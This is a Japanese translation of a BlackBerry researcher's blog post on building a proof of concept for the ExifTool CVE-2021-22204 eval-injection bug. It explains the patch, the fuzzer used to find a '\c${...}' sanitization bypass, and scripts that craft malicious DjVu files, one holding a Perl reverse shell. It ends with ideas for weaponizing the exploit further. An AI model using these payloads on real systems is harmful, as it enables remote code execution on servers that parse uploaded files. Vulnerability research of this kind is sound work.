ナビゲーションをスキップする
BlackBerry ブログ

修正から利用まで:ExifTool で CVE-2021-22204 を利用して任意のコードを実行

本ブログ記事は、2021年6月15日に米国で公開されたBlackBerryのブログ記事の抄訳版です。原文はこちらからご覧頂けます。

※この記事では、BlackBerryのMichael Zandi(Software Engineer Associate of Applied Research)がCVE-2021-22204 の概念実証(PoC)を独自に構築した手順について説明します。Zandiが行き詰まった点や、作業中の思考プロセスについても彼自身の視点から記述しています。

 

 

ほとんどの作業は他の PoC や記事が公開される前に行いましたが、それらの存在に気付いた後は、喜んでそれらのレポートからインスピレーションを得て、自分のプロセスに取り入れました。

 

背景情報

ExifTool は、さまざまな画像形式や文書形式のメタデータの読み書きや編集を行う Perl ライブラリおよびコマンドラインインターフェイス(CLI)アプリケーションです。たとえば、JPG 画像から身元が分かるメタデータを削除するために使用できます。今回の問題が最初に発見された GitLab や、他の多くの Web アプリケーションで使用されています。

以下に示すのは、NIST の NVD(National Vulnerability Database)で CVE-2021-22204 を追跡するページの記述です。

ExifTool バージョン 7.44 以降で DjVu ファイル形式のユーザーデータに対して不適切な無力化が行われているために、悪意のある画像を解析する際に任意のコードが実行される可能性があります。

さらに、OSS セキュリティメーリングリストで参照されているメール には、以下のように記述されています。

このバグは広範囲にわたる有効なファイル形式からトリガーできます。

これは興味深い。広く使用されている可能性があり、さまざまな種類の入力からアクセスできるライブラリで、任意のコードが実行されるということです。ユーザーがアップロードする画像またはドキュメントを受け入れる Web アプリケーションにとって、このことがもたらす危険を想像できます。

ここで、何が起こっているのか見てみましょう。

 

初回の調査

CVE-2021-22204 の脆弱性レポートには、ExifTool の修正済みバージョンのGitHub の差分へのリンクが含まれています。この差分や他のオンラインコメントを読んだところ、DjVu Perlモジュールに含まれ、DjVu 注釈フィールドの解析に使用される ParseAnt関数に対して、以下の変更が行われていることが分かりました。


-            # must protect unescaped "$" and "@" symbols, and "\" at end of string
-            $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
-            # convert C escape sequences (allowed in quoted text)
-            $tok = eval qq{"$tok"};
+            # convert C escape sequences, allowed in quoted text
+            # (note: this only converts a few of them!)
+            my %esc = ( a => "\a", b => "\b", f => "\f", n => "\n",
+                        r => "\r", t => "\t", '"' => '"', '\\' => '\\' );
+            $tok =~ s/\\(.)/$esc{$1}||'\\'.$1/egs;




このコードは、 ParseAntで二重引用符()文字で囲まれたテキストを処理するcase の一部です。したがって、注釈がasdf(hjkl”1234”である場合、この関数は1234という文字列として処理します。他の処理と同様に( 文字に再帰が存在しますが、これは脆弱性の一部ではないように見えます。

差分を見ると、古いバージョンは検索を実行して$tok で置換してサニタイズ処理を行い、その後に$tokevalを実行して、\nのような特定のエスケープの処理を実装しています。しかし新しいバージョンは、検索と置換を使用して対象とする C エスケープのみを処理して、evalを完全に削除しています。脆弱性分類が不完全なサニタイズであり、 eval が完全に削除されていることから、ここでコードの実行に注目する必要があることが分かります。

evalは根本的に、上記のような制御されていない入力に対して使用するのは非常に危険です。したがって、そのようなeval の使い方をしているコードは、徹底的に監査するか、いっそのことeval が完全に不要になるようにリファクタリングする必要があります。

 

正規表現と Eval の特異性の調査

Perl の構文と正規表現は、ややこしくなりがちです。ここでは、何が行われるかを分解して説明します。


$tok =~ # apply search/replace regex to $tok, saving modified version in $tok
 s # search/replace regex
     # syntax: s/match pattern/replace pattern/modifiers
     # (can use {} as pattern delimiters instead of / if we want)
 
 { \\(.) | ( [\$\@] | \\$ ) } # what to match, and capture groups in parentheses (if match, save input found in parentheses)
     # match any single character which is preceded by a '\', saving that character in capture group 1 OR
     # capture the following match in capture group 2:
     #    a '$' character OR
     #    a '@' character OR
     #    a '\' character at the end of the line (or before a trailing newline, thanks Jakub!)
 
 { '\\'.($2 || $1) } # what to replace each match with
     # IF there is a match THEN replace the matching text with
     # a '\' character followed by:
     #    capture group 2 if it exists ($ character, @ character, or '\' at end of line) OR
     #    capture group 1 (any character that was escaped by a '\')
     # (because of the matching regex, one of these must exist)
     
 sge; # modifiers
     # s: treat entire input as single line
     # g: match on any occurrence in input, not just first
     # e: eval the replace string
この正規表現の前にあるfor (;;)ループにも注目する必要があります。このループでも文字と\ 文字を処理していますが、これはサニタイズにとって重要です。


for (;;) {
    # get string up to the next quotation mark
    # this doesn't work in perl 5.6.2! grrrr
    # last Tok unless $$dataPt =~ /(.*?)"/sg;
    # $tok .= $1;
    my $pos = pos($$dataPt);
    last Tok unless $$dataPt =~ /"/sg;
    $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
    # we're good unless quote was escaped by odd number of backslashes
    last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
    $tok .= '"';    # quote is part of the string
}
このセクションはパッチでは変更されていませんが、依然として入力を解析する方法に影響を及ぼしています。基本的には、エスケープされていない次の が出現するまで、入力文字を取得します。これは、eval を構成する方法を考える上で重要です。


$tok = eval qq{"$tok"};

Perl では、文字列補間は、 文字で囲まれた文字列には実行されますが、'文字で囲まれた文字列には実行されません。したがって ”my $string”には$stringの内容が挿入されますが、'my $string' には挿入されません。補間される文字列で を簡単に使用できるようにするには、qq{ … }. を使用します。上記の eval は、$tok,を受け取り、 で囲んで文字列にして、その文字列を評価します。この方法は、$tok に、”、$、または @のいずれかの文字が含まれる場合に補間リスクをもたらすので、事前にそれらの文字を除去します。

簡単に言えば、このサニタイズによって、eval を実行する前に以下のことを(ほぼ)確認します。

  • すべての$文字がエスケープされていること
  • すべての@文字がエスケープされていること
  • エスケープされていない 文字が qq{“$tok”}から抜け出さないこと
  • \n\tなど、他のエスケープされている文字がすべて維持されること

厳格に見えるかもしれませんが、ここには明らかに抜け道があります。抜け道がなければ脆弱性にはならなかったでしょう。

 

行き詰まりとさまざまなトリック

正常に動作するサニタイズの回避方法を見つける前に、いろんなことを試しました。このセクションでは、私がどんなことを試して、それが有効だったかどうかについて説明します。この説明を読むときは、この関数の最新の脆弱なバージョンを参照することを推奨します。この作業には、ほぼ 1 週間かかりました。

最初は、脆弱な関数を自分の Perl スクリプトにコピーしました。したがって、ExifTool の他の部分を気にすることなく、脆弱なコードだけをテストできました。これは、脆弱性の根本原因を解析して理解するのに役立ちました。このテストスクリプトを使用して、以下のことを試しました。

 

さまざまなエスケープシーケンスを手動で試す

evalのせいで、想定よりもはるかに多くのエスケープシーケンスが処理されます。たとえば、 \x41は文字Aを生成します。あまり知られていないエスケープ\Uも同様に動作します。私はこれまで知らなかったのですが\cは「コントロール」エスケープシーケンスを処理します。たとえば、\chは端末で Ctrl+h のように動作して、前の 1 文字を削除します。テストの結果、これが$tok 文字列に影響を及ぼすことは確認できましたが、これを使用して特殊文字をサニタイズされないようにする方法は解明できませんでした。

この`\c`エスケープは最終的に鍵を握っていましたが、それが分かったのはずっと後のことでした。

 

$ または @ を使用しない文字列補間

$@も必要としないエスケープを見つけることはできませんでした。${ …code… } のようにするのがコードを実行するための最善の策のように見えました。バッククォートのようなものでどうかと思いましたが、無理でした。

( の再帰で 2 つの無害な文字列を結合して有害な文字列を生成するトリック

(を使用して再帰させても、eval は文字で囲まれた文字列の基本ケースでのみ実行され、再帰呼び出しされた関数で結合された結果では実行されません。

 

Perl -T テイント追跡

Perl は、-T による基本的なテイント追跡をサポートしています。これは、セキュリティ管理としてもこのバグの解析方法としても期待できそうです。上記のリンク先のドキュメントでは、以下のように記述されています。

プログラムの外側で得たデータを使用して、少なくとも偶然ではなく、プログラムの外側の何かに影響を及ぼしてはいけません。

しかし、-Tを使用してテストプログラムを実行したところ、実際に得られたのは、evalが感染したメモリで動作している、という既知の警告だけでした。この機能がサニタイズに使用する正規表現の何らかの解析に役に立つのでは、と期待したのですが、それよりはるかに単純な機能でした。

 

Perl の正規表現のデバッグ

もしかすると私が正規表現を十分に理解していないだけなのでしょうか。正規表現をデバッグすると、ステートマシンをコンパイルする方法およびステートマシンで入力を処理して一致を探す方法について、詳細な情報を確認できます。-Mre=debugを使用すると、スクリプト全体でデバッグを有効にできますが、この場合は興味のない正規表現もデバッグすることになります。代わりに、興味のある正規表現の直前にuse re 'debug';を挿入し、直後にno re 'debug';を挿入することによって、興味のあるコードだけをデバッグできます。

これは、入力に対する正規表現の動作を観察するのに役立ちます。ただし、実際には正規表現の一致をすり抜ける魔法の文字も、他の何か役に立つものも、見つけることはできませんでした。

 

生の ASCII/バイトによるファジング

この時点で、かなり途方に暮れていました。そこで、何か見込みのあるものが見つかるまで、とにかくバイトと ASCII を正規表現に送り込むことにしました。ランダムバイトを生成するのは簡単ですし、ASCII を生成するのもそれほど難しくありません。また、もっと興味深いと思われる文字列を生成できる「ASCII 文字の場合、25% の確率で ASCII 文字をエスケープする」または「特殊文字を生成する可能性が 50% ある」のようなロジックを追加するのも簡単です。

適切にファジングするには、調査結果を再現できる必要があります。試行したすべての入力を保存するのは実現不可能なので、スクリプトの先頭にprint(“seed: “,rand(),”\n”);のような呼び出しを追加します。特定の実行のシードが分かれば、rand()の使用方法を変えない限り、同じシードを再利用していつでもその実行を再現できます。さらに、printステートメントの数を減らしてuse warnings;を使用しないようにします。これで、perl ./fuzz.pl &> fuzz_log.txt を使用して、出力をあまり肥大化させずに、調査結果とパフォーマンスのうち興味深い出力をログに記録できます。

この場合、Git を使用して変更を追跡することが特に有効です。なぜなら、実行時に使用したシードは、そこで実行した正確なコードがなければ役に立たないからです。

そのままでは実際には何の成果も得られませんでしたが、後で非常に役に立ちました。

 

Data::Compare による脆弱/修正バージョンの差分ファジング

ParseAnt関数が変更されているため、脆弱なバージョンと修正バージョンの動作の違いを比較することで、どんな種類の入力がコード実行につながる可能性があるのかを理解できる可能性があります。修正された関数も自分のコードにコピー & ペーストします。次に、ParseAntのそれぞれのバージョンに同じ入力を渡して、生成されるデータ構造を、CPAN のData::Compareモジュールで比較します。さらに、それらのデータ構造を、組み込みのData::Dumper で人間が読みやすい形で印刷します。

残念ながら、エスケープの処理方法に十分な違いがあり、異なるデータ構造を生成する大量の入力があります。そのため、ここから学習することは何もありません。

 

ソリューション

ParseAnt をいろいろ調べても何も進まないことにうんざりしていました。evalでコードを実行する何らかの方法があるに違いないことは明らかでしたが、それを実現するための私が知っている唯一の方法では $文字または@文字が必要であり、それらは厳密にエスケープされているように見えました。 文字も正しく処理されているように見えました。このエスケープをエスケープされていない状態に戻す魔法の入力があるはずですが、行き詰まっていました。

ここで、「eval のコードだけを実行できるか ?」のように、問題を単純化しました。手作業で実験した後、それは可能であると判断しました。


sub just_regex_eval($) {
    my $tok = shift;
    $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
    # convert C escape sequences (allowed in quoted text)
    print("eval: ",join('',("\"",$tok,"\"")), "\n");
    $tok = eval qq{"$tok"};
}
my $tmp = <<'EOF';
";exit(41);"
EOF
just_regex_eval($tmp);
$ perl ./just_regex.pl 
main::ParseAnt() called too early to check prototype at ./just_regex.pl line 24.
eval: "";exit(41);"
"
Useless use of a constant ("") in void context at (eval 34) line 1.
$ echo $?
41
悪くありません。 を使用して文字列を終了するだけで、直接実行されました。しかし、これを ParseAnt 関数全体に使用すると、以下のようにうまくいきません。


$ perl ./test_regex.pl 
main::ParseAnt() called too early to check prototype at ./test_regex.pl line 24.
eval: ";exit(41);"
XXX token after: ;exit(41);
$ echo $?
0

脆弱なコードに到達するために必要なのは を使用することだけなので、追加したコードのうちこの簡単なエクスプロイトを失敗させる可能性があるのは、 文字を処理する for (;;) ループのみです。元の問題にもう一度手作業で取り組む代わりに、前に作成したファザーコンポーネントを、少しだけ変更して再利用することにしました。

この種のサニタイズは、適切な場所に適切な文字をいくつか使用することで回避されるように見えます。これは、ブルートフォースで実行可能なはずです。ペイロードの最初と最後に追加する適切な文字さえ見つかれば、最終的には実行できます。その場合、特殊な終了コードでファザーを終了するので、他の理由でクラッシュしたのではなく、金塊を発見したことが分かります。

以下に最終的に動作した「軽量な」ファザーのソース全文を示します。奇妙なコメントも何もかも含まれています。


use strict;
#use warnings; # too much irrelevant output

use Data::Compare;
use Data::Dumper;

sub process_regex($)
{
	my $dataPt = shift;
	#pos($dataPt) = 0;

    return undef unless $$dataPt =~ /(\S)/sg;   # get next non-space character

	#my $tok = $$dataPt;
	my $tok = "";
	for (;;) {
		# get string up to the next quotation mark
		# this doesn't work in perl 5.6.2! grrrr
		# last Tok unless $$dataPt =~ /(.*?)"/sg;
		# $tok .= $1;

		my $pos = pos($$dataPt);
		return undef unless $$dataPt =~ /"/sg;
		$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
		# we're good unless quote was escaped by odd number of backslashes

		last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
		$tok .= '"';    # quote is part of the string
	}

	# XXX: vulnerability here. We can get code execution in this eval
	# must protect unescaped "$" and "@" symbols, and "\" at end of string
	#use re 'debug';
	$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
	#no re 'debug';
	# convert C escape sequences (allowed in quoted text)
	#print("eval: ",join('',("\"",$tok,"\"")), "\n");
	$tok = eval qq{"$tok"};
	print("[CRASH] error: ", @_) if @_; # Actually I misread documentation; should have used $@. Oops!

	return $tok;
}

# uniform random byte
sub rand_byte() {
	my $byte = int(rand(256));
	return chr($byte); # convert from int to character (byte)
}

# get a valid printable ASCII character (0x20-0x7e)
sub rand_ascii() {
	my $val = int(rand(0x7e - 0x20) + 0x20);
	return chr($val);
}

# Inputs:
# 0) length of request in bytes. May be larger due to escapes.
# 1) give raw bytes. If true, just throw bytes at us. If false, stick to printable ASCII
sub generate_string($$)
{
	my ($length, $raw_bytes) = @_;
	my $res = "";

	for (my $i=0; $i < $length; $i++) {
		if ($raw_bytes) {
			# actually let's just be dumb and only do bytes and see what happens
			# 1/4 chance of escaping this byte, just because that's 'interesting'
			if (int(rand(4)) == 0) {
				$res .= "\\";
			}
			$res .= rand_byte();
		} else {
			# printable ASCII
			my $v = rand_ascii();
			if(int(rand(4)) == 0) {
				# randomly escape some characters
				$res .= "\\";
			}
			if (int(rand(8)) == 0) {
				# randomly double some characters
				$res .= $v;
			}
			$res .= $v;
		}
	}
	
	return $res;
}

sub fuzz() {
	# the plain regex, without any handling of quotes, is exploitable by this: "\";print('asdf');\"";

	my $print_inputs = 0;

	# will execute in the easier version without quote handling, if wrap with "
	my $input = <<'HERE';
;exit(42);;
HERE
	$input =~ s/\s+$//;

	# idea: put random things before/after a `print('asdf')` and check output for 'asdf'
	# If we see it, we know we hit gold!

	$| = 1; # set stdout to autoflush (output properly synchronized with stderr)
	my $seed = srand(3587231692); # got execution with 3587231692 after ~1 hr
	print("[FUZZER] fuzzing with seed $seed\n");
	my $last_i = 0;
	my $last_timestamp = time();
	my $timestamp_start = $last_timestamp;


	# b >= a
	my $execspeed_a = 0;
	my $execspeed_b = 0;
	my $execspeed = 0;
	for (my $i = 0;; $i++) {
		# XXX generate input here!
		my $pre = generate_string(int(rand(6)), undef);
		my $post = generate_string(int(rand(6)), undef);

		my $data = join('',($pre, $input,$post));
		$data = join('',("\"",$data,"\"")); # only with extra " handling

		if ($i - $last_i >= 1000) {
			my $timestamp = time();
			if ($timestamp > $last_timestamp) {
				$execspeed_a = $execspeed_b;
				$execspeed_b = $i;
				$execspeed = $execspeed_b - $execspeed_a;
				$last_timestamp = $timestamp;
				print("[FUZZER] heartbeat $timestamp: ~$execspeed exec/s\n");

				# don't print a massive file until we're just about to strike gold
				if ($timestamp - $timestamp_start >= 4270) {
					$print_inputs = 1;
				}
			}
			$last_i = $i;
		}

		# XXX call vulnerable code here!
		#print("[FUZZER] input: $data\n");
		# let's try differential testing
		print(join('',("trying input: ", $data, "\n"))) if $print_inputs;
		my $res = process_regex(\$data);
	}
}

fuzz();
これを実行して、夕食を済ませた後に戻ってきたら、正常に終了していました。やったね。


$ perl ./fuzz_light.pl &> fuzz_log.txt
$ echo $?
42
ログを確認すると、コードを正常に実行する魔法の組み合わせの前に、さまざまな興味深い出力が見つかりました。完全な答えが見つからなくても、これらのエラーや警告が機能するエクスプロイトを示してくれるでしょう。


...
[FUZZER] heartbeat 1620435137: ~76000 exec/s
Variable "@a" is not imported at (eval 956645) line 1.
[FUZZER] heartbeat 1620435138: ~77000 exec/s
...
trying input: "\R\c\@y;exit(42);;2"
Variable "@y" is not imported at (eval 334017354) line 1.

これは興味深い。\c\@y @yに変換されて、evalによって存在しない変数として解釈されているように見えます。これと同じトリックを使用した金塊、すなわち正常に実行された入力が、ログの最後に見つかりました。それは"\%2\c${;exit(42);;*\}C]"です。単純化すると、"\c${exit(42)}"になります。

この瞬間、5 日前にこれとまったく同じ内容をperlop のドキュメントで読んでいたことを思い出しました。私はこれを、以下に示す Perl 文字列補間の分かりにくい説明を解き明かすために使用していました。

また、 \c\X は chr(28)を生成します。ここで"X"は任意のXです。

幸いなことに、ASCII の「ファイル区切り文字」であるchr(28)は、Perl の文字列補間で問題を引き起こすことはなさそうです。何と都合の良い偶然でしょう。\c\$は、正規表現に対してすでにエスケープされているように見えますが、$になります。同様に、\c$\c\$になり、さらに$になります。これで、eval に魔法の補間文字を忍び込ませて、コードを実行できるようになります。

 

後から考えたファザーの改善方法

ファザーが動作した後で、動作する入力をより速く見つける方法について、いくつか考えたことがあります。

  • 入力を入れ子にする機会
    先頭/末尾に生成して付加する文字列に、一致する入れ子文字を入れる機会があります。先頭に付加する文字列に{が出現する場合、末尾に付加する文字列に } を入れる機会があります。
  • よりインテリジェントなエスケープ
    \
    だけを使用してランダムに任意の ASCII 文字をエスケープするのではなく、パラメーターを受け取る\c \xおよび他のエスケープを使用してエスケープする機会があります。
  • よりスマートな乱数ジェネレーター(RNG)の状態管理
    実行の一部を再現したい場合、定期的に RNG の状態をファイルにダンプしてオーバーヘッドを減らします。こうすることで、最初から開始できる代わりに、興味深い入力が見つかる少し前の時点から再開できます。

 

DjVu ファイルの作成

後は、このペイロードが正しく処理されるように、DjVu ファイルでラップするだけです。最初は djvusedのようなツールを使用して手動で注釈を設定しようとしましたが、必要なエスケープを維持することができませんでした。djvusedは、渡された文字列をファイルに配置する前にエスケープするようです。ExifTool がまず第一に C スタイルのエスケープを処理するのは、これが理由に違いありません。また、圧縮 ANTz チャンクのみを作成し、非圧縮 ANTa チャンクを作成しないようなので、単純な 16 進編集も簡単ではないでしょう。

案の定、djvulibreのソースおよび注釈の保存方法を調べると、中味をmake_c_string関数経由で渡していて、この関数が特定の文字をエスケープしているようです。 djvusedを使用するのが簡単そうなので、エスケープを行わないカスタム libdjvulibre.soをビルドして、この変更したバージョンをLD_LIBRARY_PATHで使用することにしました。

最初のパブリック PoC と記事に気付いたのはこのときです。Jakub Wilk 氏の PoCのほうがずっとシンプルで、これをベースにして PoC を作るほうが良いことが分かりました。

以下に示すのは、Jakub 氏のずっとシンプルな DjVu ファイルの作成方法に従って、ただし私が見つけた\cによる回避テクニックを組み込んだ、クイックアンドダーティな PoC です。


$ cat my_poc.sh 
#!/bin/bash
# let's use jakub's technique to build the file, but use \c
printf 'P1 1 1 0' > mine.pbm
cjb2 mine.pbm mine.djvu
# fuzzer find: "\%2\c${;exit(42);;*\}C]"
printf 'ANTa\0\0\0\40(xmp "\c${exit(42)};#          "' >> mine.djvu
echo "created malicious mine.djvu"
実際、ExifTool 12.23 に対して正常に動作しました。


$ perl exiftool/exiftool mine.djvu &> /dev/null
$ echo $?
42
Perl のリバースシェルを見つけて、手動で変数をその値に置換することによって、もっと興味深い PoC を動作させることができました。手動で置換したのは、${ … } で囲まれたコード内の $は、\c のトリックを使用してもエスケープされない状態に戻すことができなかったからです。文字列ではなく、コードなので、補間されないのです。


#!/bin/bash
printf 'P1 1 1 0' > revshell.pbm
cjb2 revshell.pbm revshell.djvu
printf 'ANTa\0\0\0\xd3' >> revshell.djvu
cat <<'EOF' >> revshell.djvu
(xmp "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(1337,inet_aton('localhost')))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};#"
EOF
echo "created malicious revshell.djvu"

 

課外単位

以下に示すのは、この PoC をさらに武器化する際に考えたことですが、どれも試すことはありませんでした。

  • Perl ペイロードを\c${ … } 内で使用できるようにする変換を自動化する
  • 難読化/perlgolf のトリックを適用して、解析をさらに厄介なものにする
  • ペイロードでフォークして被害プロセスのハングを回避する
  • 悪意のある DjVu ファイルの作成を自動化するツールをビルドする
  • ExifTool を解析して、jpg や pdf など、より一般的なファイル形式を使用して脆弱なコードに到達する他のコードパスがあるかどうかを決定する

 

他の PoC と記事

  • これは、この脆弱性を最初に発見した人の記事です。この記事では、どうやってこの脆弱性を発見したか、ステップごとの思考プロセス、およびさまざまなファイル形式から脆弱性を利用する方法を複数見つけた方法について、詳しく説明しています。

  • これは、Jakub Wilk 氏のずっと簡単な PoC です。私が認識している最初のパブリック PoC です。簡潔でほれぼれする内容で、要領を得ており、\cではなく、\n サニタイズをエスケープします。

  • この bricked.tech の記事も、Python を使用したファザーでサニタイズを回避する方法を見つけます。ここで見つけたのは、\cの処理ではなく、Jakub 氏の PoC と同様に\nの処理です。また、この記事よりも簡潔で単純です。

  • これは、この CVE のエクスプロイトを追加するための Metasploit のプルリクエスト(現在はマージ済み)です。見たところ、\nではなく\cのトリックと、JPG などの他のファイル形式を使用しています。
 
Michael Zandi

About Michael Zandi

Michael Zandi は BlackBerry の Software Engineer Associate of Applied Research です。